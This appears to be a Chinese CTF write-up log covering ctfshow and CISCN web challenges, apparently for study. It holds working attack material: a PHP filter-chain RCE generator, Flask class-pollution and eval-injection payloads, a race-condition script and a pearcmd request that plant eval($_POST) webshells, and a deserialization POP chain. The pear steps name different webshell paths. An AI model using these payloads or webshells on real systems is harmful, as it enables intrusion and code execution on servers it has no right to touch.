'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
echo($final_payload);

即可获得flag。

2026.4.16 ctfshow单身杯_ez_inject

根据提示,登陆或者注册路由存在污染,由于是flask,所以应该是python原型链污染,猜测后端代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'meteorkai'

class test:
def __init__(self):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

print(app.config['SECRET_KEY'])
instance = test()
payload = {
"__init__":{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"shuaige"
}
}
}
}
}
merge(payload, instance)

print(app.config['SECRET_KEY'])

payload如下:

1
2
3
curl -is -X POST 'http://e947e786-4a39-413f-9c35-2c92e54bb132.challenge.ctf.show/register' \
-H 'Content-Type: application/json' \
--data '{"username":"1231b","password":"aaaa","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}'

把static污染成/

访问/static/flag即可获得flag

2026.4.17 ctfshow西瓜杯_CodeInject

访问后显示源码

1
2
3
4
5
6
7
8
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

可传参1=a);闭合然后再跟指令。

直接1=a);system(“cat /000f1ag.txt”);?>即可。

2026.4.17 ctfshow西瓜杯Ezzz_php

访问,显示源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

参考连接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛_web 题目描述: ‘逃’出生天?-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack:要在其中搜索子字符串的源字符串。
$needle:要搜索的子字符串。
$offset(可选):从哪个位置开始搜索,默认为 0。
$encoding(可选):要使用的字符编码,默认为内部字符编码。

(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
$string:要截取的原始字符串。
$start:截取的起始位置。如果是负数,则表示从末尾开始计数。
$length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
$encoding(可选):要使用的字符编码,默认为内部字符编码。


当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

所以:
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

实现读取任意文件,接下来要rce,参考【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)-先知社区

即可获得flag

2026.4.18 ctfshow元旦水友赛easy_include

题目源码如下:

1
2
3
4
5
6
7
8
9
10
<?php

function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
include "file://".$_POST[1];
}

禁止点号,并且必须用字母开头

可以用1=localhost/etc/passwd成功读取。

方法一,session临时文件包含

由于cookie中存在phpsessid,所以开启了session。

php中上传文件时,如果 POST 中带:PHP_SESSION_UPLOAD_PROGRESS=xxx,则会自动把xxx写入/tmp/sess_<PHPSESSID>。

所以可以条件竞争来临时文件包含,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import io
import threading

url = "http://ddb8fd68-06c8-467f-89b3-6f5be7095d12.challenge.ctf.show/"
session_id = "awa"


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[2]);?>"
},
cookies={
'PHPSESSID': session_id
},
files={
'file': ('awa.jpg', filebytes)
}
)


def read(session):
while True:
res = session.post(url,
data={
"1": "localhost/tmp/sess_" + session_id,
"2": "file_put_contents('/var/www/html/awa.php' , '<?php eval($_POST[3]);?>');"

},
cookies={
"PHPSESSID": session_id
}
)
res2 = session.get("http://ddb8fd68-06c8-467f-89b3-6f5be7095d12.challenge.ctf.show//awa.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")


if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

方法二,pear

参考Docker PHP裸文件本地包含综述 - 跳跳糖

第一次先建立木马文件

get传

1
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[2]);?>+/tmp/awa.php

post传

1
1=localhost/usr/local/lib/php/pearcmd.php

第二次包含木马文件并获得flag

post传

1
1=localhost/tmp/cmd.php&2=system('tac /flag_is_here.txt');

2026.4.19 元旦水友赛easy_web

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
// 设置HTTP头,启用错误报告但禁用显示(error_reporting(0)隐藏所有错误)
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);

/**
* 第一个过滤函数:检查输入数组的所有值是否包含字母(大小写)
* @param array $Chu0 待检查的数组(比如$_REQUEST)
* 如果任何值包含字母,则输出"waf1"并退出程序
*/
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){ // 正则匹配任意字母(不区分大小写)
exit("waf1");
}
}
}

/**
* 第二个过滤函数:检查字符串是否包含"show"(不区分大小写)
* @param string $Chu0 待检查的字符串(比如QUERY_STRING)
* 如果包含"show",则输出"waf2"并退出
*/
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}

/**
* 对参数$a进行复杂的检查,用于file_put_contents路径过滤
* @param string $a 用户输入的name参数(将用作文件名)
* @return bool 返回true表示阻止写入,false表示允许写入
*
* 功能:
* - 统计字符串中'base64'出现的次数,必须恰好出现1次
* - 不能包含以下危险协议/关键词:ucs-2, phar, data, input, zip, flag, %
* - 如果base64出现次数≠1或包含危险关键词,返回true(阻止写入)
*/
function waf_in_waf_php($a){
$count = substr_count($a,'base64'); // 计算"base64"出现的次数
echo "hinthinthint,base64喔"."<br>"; // 提示信息,告诉用户要用base64
if($count!=1){
return True; // 次数不是1就拦截
}
// 检查是否包含危险协议/关键词(不区分大小写)
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True; // 包含则拦截
}else{
return false; // 通过检查,允许写入
}
}

/**
* 类ctf:反序列化时会触发__wakeup()抛出异常,但__destruct()在对象销毁时调用
* 关键点:__destruct中调用 $this->h1->nonono($this->h2)
*/
class ctf{
public $h1;
public $h2;

// 反序列化时自动调用,抛出异常会中断程序,但注意异常可能在销毁前抛出
public function __wakeup(){
throw new Exception("fastfast");
}

// 对象销毁时自动调用(例如脚本结束或变量被覆盖)
public function __destruct()
{
$this->h1->nonono($this->h2); // 调用h1对象的nonono方法,参数为h2
}
}

/**
* 类show:当调用不存在的方法时会触发__call
* 检查参数$args[0][0][2]中是否包含"ctf"字符串
*/
class show{
// $name: 调用的方法名,$args: 参数数组
public function __call($name,$args){
// $args[0] 是第一个参数,[0][2]表示第一个参数的第一个元素的第三个字符?实际是三维数组
// 这里检查的是 $args[0][0][2] 是否包含"ctf"(很奇怪的索引,可能是故意设计)
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}

/**
* 类Chu0_write:核心危险类,包含文件写入和代码执行功能
* 属性:chu0, chu1, cmd
*/
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;

// 构造函数初始化chu0为字符串'xiuxiuxiu'
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}

/**
* 当对象被当作字符串使用时(如echo $obj)自动调用
* 包含文件写入和eval执行的核心逻辑
*/
public function __toString(){
echo "__toString"."<br>"; // 调试输出
// 关键条件:chu0 必须全等于 chu1(值和类型都相同)
if ($this->chu0===$this->chu1){
// 拼接内容,开头固定为'ctfshowshowshowwww',后面加上GET参数chu0
$content='ctfshowshowshowwww'.$_GET['chu0'];

// 检查文件名(GET['name'])是否通过waf_in_waf_php过滤
if (!waf_in_waf_php($_GET['name'])){
// 通过则写入文件:文件名 = $_GET['name'] . ".txt",内容为$content
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子"; // 未通过则提示
}

// 读取'ctfw.txt'文件内容到$tmp
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>"; // 输出文件内容

// 对GET['cmd']进行严格过滤:不能包含 f,l,a,g,x,*,?, [, ], 空格, ', <, >, %
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
// 执行:$tmp($_GET['cmd']) ,即把$tmp当作函数名,参数为cmd
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}

// 最后清空ctfw.txt文件
file_put_contents("ctfw.txt","");
}
return "Go on"; // 无论是否进入if,都返回这个字符串
}
}

// 主程序入口
if (!$_GET['show_show.show']){
// 如果没有传入参数show_show.show,则显示源代码
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
// 有参数时,启动过滤流程
echo "WAF,启动!";

// 第一层:对$_REQUEST(包含GET/POST/COOKIE)每个值检查是否含字母
waf1($_REQUEST);

// 第二层:对QUERY_STRING(原始查询字符串)检查是否含"show"
waf2($_SERVER['QUERY_STRING']);

// 第三层:检查反序列化字符串是否以"O:"或"a:"开头后跟数字(对象或数组格式)
// 注意:^[Oa]:[\d] 匹配 O:数字 或 a:数字 开头的字符串
if (!preg_match('/^[Oa]:[\d]/i', $_GET['show_show.show'])){
// 不匹配则进行反序列化
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}

提示为:php版本为5.5.9

这个版本可以绕过wakeup

这题的关键是三段:

  1. 进入 unserialize($_GET['show_show.show'])
  2. 通过 POP 链触发 Chu0_write::__toString()
  3. 写出 systemctfw.txt,再执行 system('env'),从环境变量里拿 FLAG

首先需要知道php的几个特性:

1
1.如果直接传?show_show.show=1,php会将其变成show_show_show=1,但只要传show[show.show=1就行了,将[变成_后就不会再将.变成_
1
2.$_REQUEST,当 GET 和 POST 有相同的变量时,优先匹配 POST 的变量,用来绕过waf1

接下来绕过waf2,只需要对参数进行url编码就可以了。

反序列化前还有一层:

1
2
3
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}

不能直接以 O:...a:... 开头。

这里用 ArrayObjectC: 序列化格式绕过:

1
C:11:"ArrayObject":...

这样既能 unserialize,又不匹配 ^O: / ^a:

Pop链如下:

1
2
3
4
5
ctf::__destruct()
-> $this->h1->nonono($this->h2)
-> show::__call($name, $args)
-> preg_match('/ctf/i', $args[0][0][2])
-> Chu0_write::__toString()

exp如下:

1
2
3
4
5
6
7
$a = new ctf();
$a->h1 = new show();

$b = new Chu0_write();
$b->chu1 = &$b->chu0;

$a->h2 = array(array('', '', $b));

接下来还需要绕过拼接。

__toString() 里:

1
2
3
4
5
6
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}
$tmp = file_get_contents('ctfw.txt');
eval($tmp($_GET['cmd']));

目标是让:

1
$tmp === "system"

但写入文件时前面会强行拼上:

1
ctfshowshowshowwww

因此不能直接写 system,而要利用 php://filter 做“去杂”。

payload:

1
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

执行env指令成功获取flag

2026.4.20 [CISCN 2023 华北]ez_date

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

首先不能用数组绕过md5,但可以令a=1,b=’1’,这样绕过。

date会将flag变成fThursdaypm11,可以用/f\l\a\g来绕过。

然后就能获取flag了。